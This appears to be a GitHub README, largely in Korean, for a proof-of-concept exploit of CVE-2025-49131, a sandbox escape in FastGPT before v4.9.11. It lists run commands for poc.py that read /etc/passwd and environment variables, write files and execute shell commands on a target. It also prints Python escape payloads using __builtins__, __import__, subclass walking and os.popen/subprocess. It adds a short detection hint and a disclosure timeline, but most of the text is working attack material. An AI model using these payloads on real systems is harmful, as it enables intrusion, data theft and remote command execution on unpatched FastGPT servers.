
███████╗ █████╗ ███████╗████████╗ ██████╗ ██████╗ ████████╗
██╔════╝██╔══██╗██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗╚══██╔══╝
█████╗ ███████║███████╗ ██║ ██║ ███╗██████╔╝ ██║
██╔══╝ ██╔══██║╚════██║ ██║ ██║ ██║██╔═══╝ ██║
██║ ██║ ██║███████║ ██║ ╚██████╔╝██║ ██║
╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝
███████╗ █████╗ ███╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗
██╔════╝██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝
███████╗███████║██╔██╗ ██║██║ ██║██████╔╝██║ ██║ ╚███╔╝
╚════██║██╔══██║██║╚██╗██║██║ ██║██╔══██╗██║ ██║ ██╔██╗
███████║██║ ██║██║ ╚████║██████╔╝██████╔╝╚██████╔╝██╔╝ ██╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
███████╗███████╗ ██████╗ █████╗ ██████╗ ███████╗
██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝
█████╗ ███████╗██║ ███████║██████╔╝█████╗
██╔══╝ ╚════██║██║ ██╔══██║██╔═══╝ ██╔══╝
███████╗███████║╚██████╗██║ ██║██║ ███████╗
╚══════╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚══════╝
╔═══════════════════════════════════════╗
║ CVE-2025-49131 | CVSS 6.3 ║
║ FastGPT Sandbox Container Escape ║
║ Affected: < v4.9.11 ║
╚═══════════════════════════════════════╝
이 도구는 승인된 보안 연구 및 교육 목적으로만 사용해야 합니다.
CVE-2025-49131은 FastGPT의 fastgpt-sandbox 컨테이너에서 발생하는 샌드박스 탈출 취약점입니다. 이 취약점은 다음과 같은 이유로 존재합니다:
성공적으로 악용할 경우 공격자는 다음을 수행할 수 있습니다:
# Clone this repository
git clone https://github.com/Wenura17125/cve-2025-49131-poc.git
cd cve-2025-49131-poc
# Install dependencies
pip install -r requirements.txt
# Run vulnerability detection
python poc.py --target http://localhost:3001 --detect
# Read a file
python poc.py --target http://localhost:3001 --read /etc/passwd
# Attempt RCE
python poc.py --target http://localhost:3001 --rce "id"
# Start vulnerable and patched containers
docker-compose up -d
# Vulnerable sandbox on port 3001
# Patched sandbox on port 3002
python poc.py --target http://localhost:3001 --detect -v
python poc.py --target http://localhost:3001 --read /etc/passwd
python poc.py --target http://localhost:3001 --read /proc/self/environ
python poc.py --target http://localhost:3001 --write /tmp/pwned --content "CVE-2025-49131"
python poc.py --target http://localhost:3001 --import os
python poc.py --target http://localhost:3001 --import subprocess
python poc.py --target http://localhost:3001 --env
python poc.py --target http://localhost:3001 --rce "whoami"
python poc.py --target http://localhost:3001 --rce "cat /etc/passwd"
python poc.py --help
cve-2025-49131-poc/
├── poc.py # Main exploit script
├── payloads.py # Payload generator library
├── docker-compose.yml # Test environment
├── requirements.txt # Python dependencies
├── README.md # This file
└── tests/
└── test_exploit.py # Automated tests
FastGPT 샌드박스는 사용자가 제출한 코드를 격리된 환경에서 실행하도록 설계되었습니다. 그러나 격리 메커니즘은 불충분합니다:
Python __builtins__ 접근 - 샌드박스가 open(), __import__() 등의 내장 함수에 대한 접근을 제대로 제한하지 않음
시스템 호출 필터링 - 허용된 시스템 호출 목록에 파일 시스템 접근을 가능하게 하는 위험한 호출이 포함됨
Import 제한 우회 - 모듈 import 제한을 우회하는 여러 기법이 존재함
┌─────────────────────────────────────────────┐
│ 1. Send malicious code to sandbox API │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 2. Bypass sandbox restrictions using: │
│ - __builtins__ manipulation │
│ - Subclass walking │
│ - Import bypass techniques │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 3. Gain access to: │
│ - File system (read/write) │
│ - os/subprocess modules │
│ - Environment variables │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 4. Impact: │
│ - Data exfiltration │
│ - Code injection │
│ - Remote command execution │
└─────────────────────────────────────────────┘
파일 읽기:
open('/etc/passwd', 'r').read()
__builtins__.open('/etc/passwd').read()
Import 우회:
__import__('os')
__builtins__.__import__('os')
[x for x in ().__class__.__base__.__subclasses__()
if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__'](https://github.com/wenura17125/cve-2025-49131-poc/blob/HEAD/%27os%27)
RCE:
__import__('os').popen('id').read()
__import__('subprocess').check_output('id', shell=True)
샌드박스 로그에서 의심스러운 활동을 찾으세요:
/etc/passwd, /etc/shadow 접근 시도__builtins__, __import__ 호출| 날짜 | 이벤트 |
|---|---|
| 2025-??-?? | 취약점 발견 |
| 2025-??-?? | 공급업체에 통보 |
| 2025-06-?? | 패치 출시 (v4.9.11) |
| 2025-06-09 | 공개 |
이 프로젝트는 교육 및 승인된 보안 연구 목적으로만 사용됩니다. 책임감 있게 사용하세요.
보안 연구 목적으로 제작되었습니다. 테스트 전에 항상 적절한 승인을 받으세요.
| 필드 | 값 |
|---|
| CVE ID | CVE-2025-49131 |
| CVSS 점수 | 6.3 (중간) |
| CVSS 벡터 | AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L |
| 취약점 유형 | 샌드박스 탈출 |
| 영향받는 소프트웨어 | FastGPT (fastgpt-sandbox 컨테이너) |
| 영향받는 버전 | < 4.9.11 |
| 패치 버전 | 4.9.11+ |
| 공개 날짜 | 2025년 6월 9일 |